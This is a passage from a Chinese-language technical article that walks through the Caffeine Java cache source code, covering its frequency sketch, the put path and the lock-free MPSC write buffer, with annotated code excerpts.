        // 根据该锁的命名,eviction 表示驱逐的意思,也就是说关注驱逐策略执行的方法都要获取该锁,这一点需要在后文中注意
        evictionLock = new ReentrantLock();
        // 计算元素权重的对象,不指定为 SingletonWeigher.INSTANCE
        weigher = builder.getWeigher(isAsync);
        // 执行缓存 maintenance 方法的任务,在后文中具体介绍
        drainBuffersTask = new PerformCleanupTask(this);
        // 创建节点的工厂
        nodeFactory = NodeFactory.newFactory(builder, isAsync);
        // 驱逐监听器,有元素被驱逐时会回调
        evictionListener = builder.getEvictionListener(isAsync);
        // 用于保存所有数据的 ConcurrentHashMap
        data = new ConcurrentHashMap<>(builder.getInitialCapacity());
        // 如果指定驱逐策略 或 key为弱引用 或 value为弱引用或软引用 或 访问后过期则创建 readBuffer,否则它为不可用状态
        // readBuffer 用于记录某些被访问过的节点
        readBuffer = evicts() || collectKeys() || collectValues() || expiresAfterAccess()
                ? new BoundedBuffer<>() : Buffer.disabled();
        // 如果指定了驱逐策略 或 访问后过期策略则会定义访问策略,执行 onAccess 方法,后文详细介绍
        accessPolicy = (evicts() || expiresAfterAccess()) ? this::onAccess : e -> {};
        // 初始化最大值和最小值的双端队列作为 writeBuffer,用于记录一些写后操作任务 
        writeBuffer = new MpscGrowableArrayQueue<>(WRITE_BUFFER_MIN, WRITE_BUFFER_MAX);

        // 执行了驱逐策略则更新最大容量限制
        if (evicts()) {
            setMaximumSize(builder.getMaximum());
        }
    }

    @GuardedBy("evictionLock")
    void setMaximumSize(long maximum) {
        requireArgument(maximum >= 0, "maximum must not be negative");
        if (maximum == maximum()) {
            return;
        }

        // 不能超过最大容量
        long max = Math.min(maximum, MAXIMUM_CAPACITY);
        // 计算窗口区大小
        long window = max - (long) (PERCENT_MAIN * max);
        // 计算保护区大小
        long mainProtected = (long) (PERCENT_MAIN_PROTECTED * (max - window));

        // 记录这些值
        setMaximum(max);
        setWindowMaximum(window);
        setMainProtectedMaximum(mainProtected);

        // 标记命中量、非命中量并初始化步长值,这三个值用于后续动态调整保护区和窗口区大小
        setHitsInSample(0);
        setMissesInSample(0);
        setStepSize(-HILL_CLIMBER_STEP_PERCENT * max);

        // 直到当前缓存的权重(大小)接近最大值一半时才初始化频率草图
        if ((frequencySketch() != null) && !isWeighted() && (weightedSize() >= (max >>> 1))) {
            frequencySketch().ensureCapacity(max);
        }
    }
}

// 2
class SS<K, V> extends BoundedLocalCache<K, V> {
    static final LocalCacheFactory FACTORY = SS::new;

    // key value 强引用无需特殊操作
    SS(Caffeine<K, V> var1, @Nullable AsyncCacheLoader<? super K, V> var2, boolean var3) {
        super(var1, var2, var3);
    }
}

// 3
class SSMS<K, V> extends SS<K, V> {

    // 频率草图,后文具体介绍
    final FrequencySketch<K> sketch = new FrequencySketch();

    final AccessOrderDeque<Node<K, V>> accessOrderWindowDeque;
    final AccessOrderDeque<Node<K, V>> accessOrderProbationDeque;
    final AccessOrderDeque<Node<K, V>> accessOrderProtectedDeque;

    SSMS(Caffeine<K, V> var1, @Nullable AsyncCacheLoader<? super K, V> var2, boolean var3) {
        super(var1, var2, var3);
        // 如果 Caffeine 初始化了容量则确定频率草图的容量
        if (var1.hasInitialCapacity()) {
            long var4 = Math.min(var1.getMaximum(), (long) var1.getInitialCapacity());
            this.sketch.ensureCapacity(var4);
        }

        // 初始化窗口区、试用区和保护区,它们都是双端队列(链表实现)
        this.accessOrderWindowDeque = !var1.evicts() && !var1.expiresAfterAccess() ? null : new AccessOrderDeque();
        this.accessOrderProbationDeque = new AccessOrderDeque();
        this.accessOrderProtectedDeque = new AccessOrderDeque();
    }
}

在步骤 1 中定义了三个区的初始化大小为 1%|19%|80%,这样配置的性能相对较好。此外,我们还需要解释一下 weightedSize() 方法,它用于访问 long weightedSize 变量。根据其命名有“权重大小”的含义,在默认不指定权重计算对象 Weigher 的情况下,Weigher 默认为 SingletonWeigher.INSTANCE 表示每个元素的权重大小为 1,如下:

enum SingletonWeigher implements Weigher<Object, Object> {
    INSTANCE;

    @Override
    public int weigh(Object key, Object value) {
        return 1;
    }
}

这样 weightedSize 表示的便是当前缓存中元素数量。如果自定义了 Weigher 那么 weightedSize 表示的便是缓存中总权重大小,每个元素的权重则可能会不同。因为在示例中我们并没有指定 Weigher,所以在此处可以将 weightedSize 理解为当前缓存大小。

上文中我们提到缓存的定义遵循大写字母缩写的命名规则,实际上节点类的定义也采用了这种方式,在创建节点工厂 NodeFactory.newFactory(builder, isAsync) 的逻辑中,它会执行如下逻辑,根据缓存的类型来确定它的节点类型,命名遵循 P|F S|W|D A|AW|W| [R] [MW|MS] 的规则,同样使用了反射机制和简单工厂的编码风格,如下:

interface NodeFactory<K, V> {
    // ...

    static <K, V> NodeFactory<K, V> newFactory(Caffeine<K, V> builder, boolean isAsync) {
        if (builder.interner) {
            return (NodeFactory<K, V>) Interned.FACTORY;
        }
        var className = getClassName(builder, isAsync);
        return loadFactory(className);
    }

    static String getClassName(Caffeine<?, ?> builder, boolean isAsync) {
        var className = new StringBuilder();
        // key 强引用或弱引用
        if (builder.isStrongKeys()) {
            className.append('P');
        } else {
            className.append('F');
        }
        // value 强引用或弱引用或软引用
        if (builder.isStrongValues()) {
            className.append('S');
        } else if (builder.isWeakValues()) {
            className.append('W');
        } else {
            className.append('D');
        }
        // 过期策略
        if (builder.expiresVariable()) {
            if (builder.refreshAfterWrite()) {
                // 访问后过期
                className.append('A');
                if (builder.evicts()) {
                    // 写入后过期
                    className.append('W');
                }
            } else {
                className.append('W');
            }
        } else {
            // 访问后过期
            if (builder.expiresAfterAccess()) {
                className.append('A');
            }
            // 写入后过期
            if (builder.expiresAfterWrite()) {
                className.append('W');
            }
        }
        // 写入后刷新
        if (builder.refreshAfterWrite()) {
            className.append('R');
        }
        // 驱逐策略
        if (builder.evicts()) {
            // 默认最大大小限制
            className.append('M');
            // 加权
            if (isAsync || (builder.isWeighted() && (builder.weigher != Weigher.singletonWeigher()))) {
                className.append('W');
            } else {
                // 非加权
                className.append('S');
            }
        }
        return className.toString();
    }

}

SSMS 类型缓存对应的节点类型为 PSMS

FrequencySketch

接下来,我们需要具体介绍下 FrequencySketch,它在上述构造方法的步骤 3 中被创建。这个类的实现采用了 Count-Min Sketch 数据结构,它维护了一个 long[] table 一维数组,每个元素有 64 位,每 4 位作为一个计数器(这也就限定了最大频率为 15),那么数组中每个槽位便是 16 个计数器。通过哈希函数取 4 个独立的计数值,将其中的最小值作为元素的访问频率。table 的初始大小为缓存最大容量最接近的 2 的 n 次幂,并在计算哈希值时使用 blockMask 掩码来使哈希结果均匀分布,保证了获取元素访问频率的正确率为 93.75%,达到空间与时间的平衡。它的实现原理和布隆过滤器类似,牺牲了部分准确性,但减少了占用内存的大小。如下图所示为计算元素 e 的访问频率:

frequencySketch.drawio.png

以下为 FrequencySketch 的源码,关注注释即可,并不复杂:

final class FrequencySketch<E> {

    static final long RESET_MASK = 0x7777777777777777L;
    static final long ONE_MASK = 0x1111111111111111L;

    // 采样大小,用于控制 reset
    int sampleSize;
    // 掩码,用于均匀分散哈希结果
    int blockMask;
    long[] table;
    int size;

    public FrequencySketch() {
    }

    public void ensureCapacity(@NonNegative long maximumSize) {
        requireArgument(maximumSize >= 0);
        // 取缓存最大容量和 Integer.MAX_VALUE >>> 1 中的小值 
        int maximum = (int) Math.min(maximumSize, Integer.MAX_VALUE >>> 1);
        // 如果已经被初始化过并且 table 长度大于等于最大容量,那么不进行操作
        if ((table != null) && (table.length >= maximum)) {
            return;
        }

        // 初始化 table,长度为最接近 maximum 的 2的n次幂 和 8 中的大值
        table = new long[Math.max(Caffeine.ceilingPowerOfTwo(maximum), 8)];
        // 计算采样大小
        sampleSize = (maximumSize == 0) ? 10 : (10 * maximum);
        // 计算掩码
        blockMask = (table.length >>> 3) - 1;
        // 特殊判断
        if (sampleSize <= 0) {
            sampleSize = Integer.MAX_VALUE;
        }
        // 计数器总数
        size = 0;
    }

    @NonNegative
    public int frequency(E e) {
        // 如果缓存没有被初始化则返回频率为 0
        if (isNotInitialized()) {
            return 0;
        }

        // 创建 4 个元素的数组 count 用于保存 4 次 hash 计算出的频率值
        int[] count = new int[4];
        // hash 扰动,使结果均匀分布
        int blockHash = spread(e.hashCode());
        // 重 hash,进一步分散结果
        int counterHash = rehash(blockHash);
        // 根据掩码计算对应的块索引
        int block = (blockHash & blockMask) << 3;
        // 循环 4 次计算 4 个计数器的结果
        for (int i = 0; i < 4; i++) {
            // 位运算变更 hash 值
            int h = counterHash >>> (i << 3);
            int index = (h >>> 1) & 15;
            // 计算计数器的偏移量
            int offset = h & 1;
            // 定位到 table 中某个槽位后右移并进行位与运算得到最低的 4 位的值(0xfL 为二进制的 1111)
            count[i] = (int) ((table[block + offset + (i << 1)] >>> (index << 2)) & 0xfL);
        }
        // 取其中的较小值
        return Math.min(Math.min(count[0], count[1]), Math.min(count[2], count[3]));
    }

    public void increment(E e) {
        if (isNotInitialized()) {
            return;
        }

        // 长度为 8 的数组记录该元素对应的位置,每个计数器需要两个值来定位
        int[] index = new int[8];
        int blockHash = spread(e.hashCode());
        int counterHash = rehash(blockHash);
        int block = (blockHash & blockMask) << 3;
        for (int i = 0; i < 4; i++) {
            int h = counterHash >>> (i << 3);
            // i 记录定位到 table 中某元素的位偏移量
            index[i] = (h >>> 1) & 15;
            int offset = h & 1;
            // i + 4 记录元素所在 table 中的索引
            index[i + 4] = block + offset + (i << 1);
        }
        // 四个对应的计数器都需要累加
        boolean added =
                incrementAt(index[4], index[0])
                        | incrementAt(index[5], index[1])
                        | incrementAt(index[6], index[2])
                        | incrementAt(index[7], index[3]);

        // 累加成功且达到采样大小需要进行重置
        if (added && (++size == sampleSize)) {
            reset();
        }
    }

    boolean incrementAt(int i, int j) {
        int offset = j << 2;
        long mask = (0xfL << offset);
        if ((table[i] & mask) != mask) {
            table[i] += (1L << offset);
            return true;
        }
        return false;
    }

    // 重置机制防止计数器溢出
    void reset() {
        int count = 0;
        for (int i = 0; i < table.length; i++) {
            // 累加 table 中每个元素的 2 进制表示的 1 的个数,结果为计数器个数的 4 倍
            count += Long.bitCount(table[i] & ONE_MASK);
            // 右移一位将计数值减半并将高位清零
            table[i] = (table[i] >>> 1) & RESET_MASK;
        }
        // count >>> 2 表示计数器个数,计算重置后的 size
        size = (size - (count >>> 2)) >>> 1;
    }

    static int spread(int x) {
        x ^= x >>> 17;
        x *= 0xed5ad4bb;
        x ^= x >>> 11;
        x *= 0xac4c1b51;
        x ^= x >>> 15;
        return x;
    }

    static int rehash(int x) {
        x *= 0x31848bab;
        x ^= x >>> 14;
        return x;
    }

}

到这里,Caffeine 缓存的基本数据结构全貌已经展现出来了,如下所示,在后文中我们再具体关注它们之间是如何协同的。

caffeine.drawio.png

put

接下来继续了解向缓存中添加元素的流程,本节内容比较多,理解起来也相对复杂,结合文章内容的同时,也需要多去深入查看 Caffeine 源码才能有更好的理解,以下为 put 方法的源码:

abstract class BoundedLocalCache<K, V> extends BLCHeader.DrainStatusRef implements LocalCache<K, V> {

    // 默认入参 onlyIfAbsent 为 false,表示向缓存中添加相同的 key 会对 value 进行替换 
    @Override
    public @Nullable V put(K key, V value) {
        return put(key, value, expiry(), /* onlyIfAbsent */ false);
    }
}

它会执行到如下具体逻辑中,关注注释信息:

abstract class BoundedLocalCache<K, V> extends BLCHeader.DrainStatusRef implements LocalCache<K, V> {

    static final int WRITE_BUFFER_RETRIES = 100;

    final MpscGrowableArrayQueue<Runnable> writeBuffer;

    final ConcurrentHashMap<Object, Node<K, V>> data;

    final ReentrantLock evictionLock;

    final NodeFactory<K, V> nodeFactory;

    @Nullable
    V put(K key, V value, Expiry<K, V> expiry, boolean onlyIfAbsent) {
        // 不允许添加 null
        requireNonNull(key);
        requireNonNull(value);

        Node<K, V> node = null;
        // 获取当前时间戳
        long now = expirationTicker().read();
        // 计算缓存权重,如果没有指定 weigher 的话,默认权重为 1
        int newWeight = weigher.weigh(key, value);
        // 创建用于查找的键对象
        Object lookupKey = nodeFactory.newLookupKey(key);
        
        for (int attempts = 1; ; attempts++) {
            // 尝试获取节点;prior 译为先前的;较早的
            Node<K, V> prior = data.get(lookupKey);
            // 处理不存在的节点
            if (prior == null) {
                // 如果 node 在循环执行中还未被创建
                if (node == null) {
                    // NodeFactory 创建对应类型节点
                    node = nodeFactory.newNode(key, keyReferenceQueue(), value, valueReferenceQueue(), newWeight, now);
                    // 设置节点的过期时间
                    setVariableTime(node, expireAfterCreate(key, value, expiry, now));
                }
                // 尝试添加新节点到缓存中,如果键已存在则返回现有节点
                prior = data.putIfAbsent(node.getKeyReference(), node);
                // 返回 null 表示插入成功
                if (prior == null) {
                    // 写后操作:添加 AddTask 并调度执行任务
                    afterWrite(new AddTask(node, newWeight));
                    return null;
                }
                // onlyIfAbsent 形参在默认的 put 方法中为 false,以下逻辑简单介绍
                // 如果此时有其他线程添加了相同 key 的元素
                else if (onlyIfAbsent) {
                    // 获取到当前值,尝试判断读后失效策略,更新访问时间,并执行读后操作 afterRead 方法
                    V currentValue = prior.getValue();
                    if ((currentValue != null) && !hasExpired(prior, now)) {
                        if (!isComputingAsync(prior)) {
                            tryExpireAfterRead(prior, key, currentValue, expiry(), now);
                            setAccessTime(prior, now);
                        }
                        // 读后操作,该方法在 getIfPresent 中进行讲解
                        afterRead(prior, now, /* recordHit */ false);
                        return currentValue;
                    }
                }
            } else if (onlyIfAbsent) {
                // 同样的逻辑
                V currentValue = prior.getValue();
                if ((currentValue != null) && !hasExpired(prior, now)) {
                    if (!isComputingAsync(prior)) {
                        tryExpireAfterRead(prior, key, currentValue, expiry(), now);
                        setAccessTime(prior, now);
                    }
                    afterRead(prior, now, /* recordHit */ false);
                    return currentValue;
                }
            }
        }
        // ...
    }
}

注意添加节点成功的逻辑,它会执行 afterWrite 写后操作方法,添加 AddTask 任务到 writeBuffer 中:

abstract class BoundedLocalCache<K, V> extends BLCHeader.DrainStatusRef implements LocalCache<K, V> {

    // 写重试最多 100 次
    static final int WRITE_BUFFER_RETRIES = 100;

    static final int WRITE_BUFFER_MIN = 4;
    static final int WRITE_BUFFER_MAX = 128 * ceilingPowerOfTwo(NCPU);

    final MpscGrowableArrayQueue<Runnable> writeBuffer = new MpscGrowableArrayQueue<>(WRITE_BUFFER_MIN, WRITE_BUFFER_MAX);

    // 添加写后 Task 到 writeBuffer 中并在合适的时机调度执行任务
    void afterWrite(Runnable task) {
        // 最多重试添加 100 次
        for (int i = 0; i < WRITE_BUFFER_RETRIES; i++) {
            if (writeBuffer.offer(task)) {
                // 写后调度
                scheduleAfterWrite();
                return;
            }
            // 向 writeBuffer 中添加任务失败会调度任务执行
            scheduleDrainBuffers();
            // 自旋等待,让出 CPU 控制权
            Thread.onSpinWait();
        }
        // ...
    }
}

writeBuffer 的类型为 MpscGrowableArrayQueue,在这里我们详细的介绍下它。

WriteBuffer

根据它的命名 GrowableArrayQueue 可知它是一个容量可以增长的双端队列,前缀 MPSC 表达的含义是“多生产者,单消费者”,也就是说可以有多个线程向其中添加元素,但只有一个线程能从其中获取元素。那么它是如何实现 MPSC 的呢?接下来我们就根据源码详细了解一下。首先先来看一下它的类继承关系图及简要说明:

WriteBuffer.drawio.png

图中灰色的表示抽象类,蓝色为实现类,java.util.AbstractQueue 就不再多解释了。我们先看看其中标记红框的类,讨论到底什么是“避免内存伪共享问题”?

BaseMpscLinkedArrayQueuePad1 为例:

abstract class BaseMpscLinkedArrayQueuePad1<E> extends AbstractQueue<E> {
    byte p000, p001, p002, p003, p004, p005, p006, p007;
    byte p008, p009, p010, p011, p012, p013, p014, p015;
    byte p016, p017, p018, p019, p020, p021, p022, p023;
    byte p024, p025, p026, p027, p028, p029, p030, p031;
    byte p032, p033, p034, p035, p036, p037, p038, p039;
    byte p040, p041, p042, p043, p044, p045, p046, p047;
    byte p048, p049, p050, p051, p052, p053, p054, p055;
    byte p056, p057, p058, p059, p060, p061, p062, p063;
    byte p064, p065, p066, p067, p068, p069, p070, p071;
    byte p072, p073, p074, p075, p076, p077, p078, p079;
    byte p080, p081, p082, p083, p084, p085, p086, p087;
    byte p088, p089, p090, p091, p092, p093, p094, p095;
    byte p096, p097, p098, p099, p100, p101, p102, p103;
    byte p104, p105, p106, p107, p108, p109, p110, p111;
    byte p112, p113, p114, p115, p116, p117, p118, p119;
}

这个类除了定义了 120 字节的字段外,看上去没有做其他任何事情,实际上它为 性能提升 默默做出了贡献,避免了内存伪共享。CPU 中缓存行(Cache Line)的大小通常是 64 字节,在类中定义 120 字节来占位,这样便能将上下继承关系间的字段间隔开,保证被多个线程访问的关键字段距离至少跨越一个缓存行,分布在不同的缓存行中。这样在不同的线程访问 BaseMpscLinkedArrayQueueProducerFieldsBaseMpscLinkedArrayQueueConsumerFields 中字段时互不影响,详细了解原理可参考博客园 - CPU Cache与缓存行

接下来我们看看其他抽象类的作用。BaseMpscLinkedArrayQueueProducerFields 定义生产者相关字段:

abstract class BaseMpscLinkedArrayQueueProducerFields<E> extends BaseMpscLinkedArrayQueuePad1<E> {
    // 生产者操作索引(并不对应缓冲区 producerBuffer 中索引位置)
    protected long producerIndex;
}

BaseMpscLinkedArrayQueueConsumerFields 负责定义消费者相关字段:

abstract class BaseMpscLinkedArrayQueueConsumerFields<E> extends BaseMpscLinkedArrayQueuePad2<E> {
    // 掩码值,用于计算消费者实际的索引位置
    protected long consumerMask;
    // 消费者访问这个缓冲区来获取元素消费
    protected E[] consumerBuffer;
    // 消费者操作索引(并不对应缓冲区 consumerBuffer 中索引位置)
    protected long consumerIndex;
}

BaseMpscLinkedArrayQueueColdProducerFields 中定义字段如下,该类的命名包含 Cold,表示其中字段被修改的次数会比较少:

abstract class BaseMpscLinkedArrayQueueColdProducerFields<E> extends BaseMpscLinkedArrayQueuePad3<E> {
    // 生产者可以操作的最大索引上限
    protected volatile long producerLimit;
    // 掩码值,用于计算生产者在数组中实际的索引
    protected long producerMask;
    // 存储生产者生产的元素
    protected E[] producerBuffer;
}

现在关键字段我们已经介绍完了,接下来看一下创建 MpscGrowableArrayQueue 的逻辑,执行它的构造方法时会为我们刚刚提到的字段进行赋值:

class MpscGrowableArrayQueue<E> extends MpscChunkedArrayQueue<E> {

    MpscGrowableArrayQueue(int initialCapacity, int maxCapacity) {
        // 调用父类的构造方法
        super(initialCapacity, maxCapacity);
    }
}

abstract class MpscChunkedArrayQueue<E> extends MpscChunkedArrayQueueColdProducerFields<E> {
    // 省略字节占位字段...
    byte p119;

    MpscChunkedArrayQueue(int initialCapacity, int maxCapacity) {
        // 调用父类的构造方法
        super(initialCapacity, maxCapacity);
    }

}

abstract class MpscChunkedArrayQueueColdProducerFields<E> extends BaseMpscLinkedArrayQueue<E> {
    protected final long maxQueueCapacity;

    MpscChunkedArrayQueueColdProducerFields(int initialCapacity, int maxCapacity) {
        // 调用父类的构造方法
        super(initialCapacity);
        if (maxCapacity < 4) {
            throw new IllegalArgumentException("Max capacity must be 4 or more");
        }
        // 保证了最大值最少比初始值大 2 倍
        if (ceilingPowerOfTwo(initialCapacity) >= ceilingPowerOfTwo(maxCapacity)) {
            throw new IllegalArgumentException(
                    "Initial capacity cannot exceed maximum capacity(both rounded up to a power of 2)");
        }
        // 最大容量也为 2的n次幂
        maxQueueCapacity = ((long) ceilingPowerOfTwo(maxCapacity)) << 1;
    }
}

abstract class BaseMpscLinkedArrayQueue<E> extends BaseMpscLinkedArrayQueueColdProducerFields<E> {

    BaseMpscLinkedArrayQueue(final int initialCapacity) {
        if (initialCapacity < 2) {
            throw new IllegalArgumentException("Initial capacity must be 2 or more");
        }

        // 初始化缓冲区大小为数值最接近的 2 的 n 次幂
        int p2capacity = ceilingPowerOfTwo(initialCapacity);
        // 掩码值,-1L 使其低位均为 1,左移 1 位则最低位为 0,eg: 00000110,注意该值会被生产者和消费者掩码值共同赋值
        long mask = (p2capacity - 1L) << 1;
        // 创建一个大小为 2的n次幂 +1 大小的缓冲区,注意这个 buffer 分别被 producerBuffer 和 consumerBuffer 共同引用
        E[] buffer = allocate(p2capacity + 1);
        // BaseMpscLinkedArrayQueueColdProducerFields 类中相关字段赋值
        producerBuffer = buffer;
        producerMask = mask;
        // 将 producerLimit 值赋为 掩码值
        soProducerLimit(this, mask);
        // BaseMpscLinkedArrayQueueConsumerFields 类中相关字段赋值
        consumerBuffer = buffer;
        consumerMask = mask;
    }
}

现在 MpscGrowableArrayQueue 的构建已经看完了,了解了其中关键字段的赋值,现在我们就需要看它是如何实现 MPSC 的。“多生产者”也就意味着会有多个线程向其中添加元素,既然是多线程就需要重点关注它是如何在多线程间完成协同的。添加操作对应了 BaseMpscLinkedArrayQueue#offer 方法,它的实现如下:

abstract class BaseMpscLinkedArrayQueue<E> extends BaseMpscLinkedArrayQueueColdProducerFields<E> {

    private static final Object JUMP = new Object();

    @Override
    @SuppressWarnings("MissingDefault")
    public boolean offer(final E e) {
        if (e == null) {
            throw new NullPointerException();
        }

        long mask;
        E[] buffer;
        long pIndex;

        while (true) {
            // 生产者最大索引(生产者掩码值),获取 BaseMpscLinkedArrayQueueColdProducerFields 中定义的该字段
            long producerLimit = lvProducerLimit();
            // 生产者当前索引,初始值为 0,BaseMpscLinkedArrayQueueProducerFields 中字段 
            pIndex = lvProducerIndex(this);
            // producerIndex 最低位用来表示扩容(索引生产者索引 producerIndex 并不对应缓冲区中实际的索引)
            // 低位为 1 表示正在扩容,自旋等待直到扩容完成(表示只有一个线程操作扩容)
            if ((pIndex & 1) == 1) {
                continue;
            }

            // 掩码值和buffer可能在扩容中被改变,每次循环使用最新值
            mask = this.producerMask;
            buffer = this.producerBuffer;

            // 检查是否需要扩容
            if (producerLimit <= pIndex) {
                int result = offerSlowPath(mask, pIndex, producerLimit);
                switch (result) {
                    case 0:
                        break;
                    case 1:
                        continue;
                    case 2:
                        return false;
                    case 3:
                        resize(mask, buffer, pIndex, e);
                        return true;
                }
            }

            // CAS 操作更新生产者索引,注意这里是 +2,更新成功结束循环
            if (casProducerIndex(this, pIndex, pIndex + 2)) {
                break;
            }
        }
        // 计算该元素在 buffer 中的实际偏移量,并将其添加到缓冲区中
        final long offset = modifiedCalcElementOffset(pIndex, mask);
        soElement(buffer, offset, e);
        return true;
    }

    // 没有将 resize 逻辑封装在该方法中,而是由该方法判断是否需要扩容
    private int offerSlowPath(long mask, long pIndex, long producerLimit) {
        int result;
        // 获取消费者索引 BaseMpscLinkedArrayQueueConsumerFields 类中
        final long cIndex = lvConsumerIndex(this);
        // 通过掩码值计算当前缓冲区容量
        long bufferCapacity = getCurrentBufferCapacity(mask);
        result = 0;
        // 如果队列还有空间
        if (cIndex + bufferCapacity > pIndex) {
            // 尝试更新生产者最大限制,更新失败则返回 1 重试
            if (!casProducerLimit(this, producerLimit, cIndex + bufferCapacity)) {
                result = 1;
            }
        }
        // 如果队列已满且无法扩展
        else if (availableInQueue(pIndex, cIndex) <= 0) {
            result = 2;
        }
        // 更新 producerIndex 最低位为 1,成功则进行扩容,否则重试
        else if (casProducerIndex(this, pIndex, pIndex + 1)) {
            result = 3;
        } else {
            result = 1;
        }
        return result;
    }

    private void resize(long oldMask, E[] oldBuffer, long pIndex, final E e) {
        // 计算新缓冲区大小并创建,2 * (buffer.length - 1) + 1
        int newBufferLength = getNextBufferSize(oldBuffer);
        final E[] newBuffer = allocate(newBufferLength);

        // 更新缓冲区引用为新的缓冲区
        producerBuffer = newBuffer;
        // 更新新的掩码
        final int newMask = (newBufferLength - 2) << 1;
        producerMask = newMask;

        // 计算元素在新旧缓冲区中的偏移量
        final long offsetInOld = modifiedCalcElementOffset(pIndex, oldMask);
        final long offsetInNew = modifiedCalcElementOffset(pIndex, newMask);

        // 将元素放到新缓冲区中
        soElement(newBuffer, offsetInNew, e);
        // 将新缓冲区连接到旧缓冲区中
        soElement(oldBuffer, nextArrayOffset(oldMask), newBuffer);

        // 校验可用空间
        final long cIndex = lvConsumerIndex(this);
        final long availableInQueue = availableInQueue(pIndex, cIndex);
        if (availableInQueue <= 0) {
            throw new IllegalStateException();
        }

        // 更新生产者限制大小和生产者索引
        soProducerLimit(this, pIndex + Math.min(newMask, availableInQueue));
        soProducerIndex(this, pIndex + 2);

        // 将旧缓冲区中该位置的元素更新为 JUMP 标志位,这样在被消费时就知道去新的缓冲区获取了
        soElement(oldBuffer, offsetInOld, JUMP);
    }
    
    private long nextArrayOffset(final long mask) {
        return modifiedCalcElementOffset(mask + 2, Long.MAX_VALUE);
    }
    
    // 因为最低位用来表示是否在扩容,所以 producerIndex 和 consumerIndex 并不表示实际的索引
    // 注意生产者(消费者)操作索引值会随着元素的增加不断变大,因为有它们和掩码值的位与运算才保证了索引值一直在索引值的有效范围内
    static long modifiedCalcElementOffset(long index, long mask) {
        return (index & mask) >> 1;
    }
}

可见,在这个过程中它并没有限制操作线程数量,也没有使用加锁的同步机制。它通过保证 可见性,并使用 自旋锁结合 CAS 操作 更新生产者索引值,因为该操作是原子的,同时只有一个线程能更新获取索引值成功,更新失败的线程会自旋重试,这样便允许多线程同时添加元素,可见性保证和CAS操作源码如下:

abstract class BaseMpscLinkedArrayQueue<E> extends BaseMpscLinkedArrayQueueColdProducerFields<E> {

    static final VarHandle P_INDEX = pIndexLookup.findVarHandle(
            BaseMpscLinkedArrayQueueProducerFields.class, "producerIndex", long.class);
    
    // volatile 可见性保证
    static long lvProducerIndex(BaseMpscLinkedArrayQueue<?> self) {
        return (long) P_INDEX.getVolatile(self);
    }
    
    // CAS 操作
    static boolean casProducerIndex(BaseMpscLinkedArrayQueue<?> self, long expect, long newValue) {
        return P_INDEX.compareAndSet(self, expect, newValue);
    }
}

保证可见性(内存操作对其他线程可见)的原理是 内存屏障,除了保证可见性以外,内存屏障还能够 防止重排序(确保在内存屏障前后的内存操作不会被重排序,从而保证程序的正确性)。到这里,生产者添加元素的逻辑我们已经分析完了,接下来我们需要继续看一下消费者获取元素的逻辑,它对应了 BaseMpscLinkedArrayQueue#poll 方法,同样地,在这过程中需要关注“在这个方法中有没有限制单一线程执行”,以此实现单消费者呢:

abstract class BaseMpscLinkedArrayQueue<E> extends BaseMpscLinkedArrayQueueColdProducerFields<E> {
    
    private static final Object JUMP = new Object();
    
    public E poll() {
        // 读取消费者相关字段 BaseMpscLinkedArrayQueueConsumerFields 类
        final E[] buffer = consumerBuffer;
        final long index = consumerIndex;
        final long mask = consumerMask;

        // 根据消费索引,计算出元素在消费者缓冲区中实际的位置
        final long offset = modifiedCalcElementOffset(index, mask);
        // 读取该元素(volatile 可见性读取)
        Object e = lvElement(buffer, offset);
        
        // 如果为空
        if (e == null) {
            // 比较生产者索引,如果两个索引不相等,那么证明两索引间存在距离表示还有元素能够被消费
            if (index != lvProducerIndex(this)) {
                // 自旋读取元素,直到读到元素
                do {
                    e = lvElement(buffer, offset);
                } while (e == null);
            } else {
                // 索引相等证明确实是空队列
                return null;
            }
        }
        if (e == JUMP) {
            // 获取到新缓冲区
            final E[] nextBuffer = getNextBuffer(buffer, mask);
            // 在新缓冲区中获取到对应元素
            return newBufferPoll(nextBuffer, index);
        }
        // 清除当前索引的元素,表示该元素已经被消费
        soElement(buffer, offset, null);
        // 更新消费者索引,这里也是 +2,它并不表示实际的在缓冲区的索引
        soConsumerIndex(this, index + 2);
        return (E) e;
    }

    private E[] getNextBuffer(final E[] buffer, final long mask) {
        // 如果已经发生扩容,此时 consumerMask 仍然对应的是扩容前的 mask
        // 此处与生产者操作扩容时拼接新旧缓冲区调用的是一样的方法,这样便能够获取到新缓冲区的偏移量
        final long nextArrayOffset = nextArrayOffset(mask);
        // 获取到新缓冲区,因为在扩容操作时已经将新缓冲区链接到旧缓冲区上了
        final E[] nextBuffer = (E[]) lvElement(buffer, nextArrayOffset);
        // 将旧缓冲区中新缓冲区位置设置为 null 表示旧缓冲区中已经没有任何元素需要被消费了,也不再需要被引用了(能被垃圾回收了)
        soElement(buffer, nextArrayOffset, null);
        return nextBuffer;
    }

    private long nextArrayOffset(final long mask) {
        return modifiedCalcElementOffset(mask + 2, Long.MAX_VALUE);
    }

    private E newBufferPoll(E[] nextBuffer, final long index) {
        // 计算出消费者操作索引在新缓冲区中对应的实际位置
        final long offsetInNew = newBufferAndOffset(nextBuffer, index);
        // 在新缓冲区中获取到对应元素
        final E n = lvElement(nextBuffer, offsetInNew);
        if (n == null) {
            throw new IllegalStateException("new buffer must have at least one element");
        }
        // 清除当前索引的元素,表示该元素已经被消费
        soElement(nextBuffer, offsetInNew, null);
        // 更新消费者索引
        soConsumerIndex(this, index + 2);
        return n;
    }

    private long newBufferAndOffset(E[] nextBuffer, final long index) {
        // 将消费者缓冲区引用和掩码值更新
        consumerBuffer = nextBuffer;
        consumerMask = (nextBuffer.length - 2L) << 1;
        return modifiedCalcElementOffset(index, consumerMask);
    }
    
    static long modifiedCalcElementOffset(long index, long mask) {
        return (index & mask) >> 1;
    }
    
    static <E> E lvElement(E[] buffer, long offset) {
        return (E) REF_ARRAY.getVolatile(buffer, (int) offset);
    }
}

可以发现在该方法中并没有限制单一线程执行,所以理论上这个方法可能被多个线程调用,那么它又为什么被称为 MPSC 呢?在这个方法中的一段注释值得细心体会:

This implementation is correct for single consumer thread use only. 此实现仅适用于单消费者线程使用

所以调用该方法时开发者本身需要保证单线程调用而并不是在实现中控制。

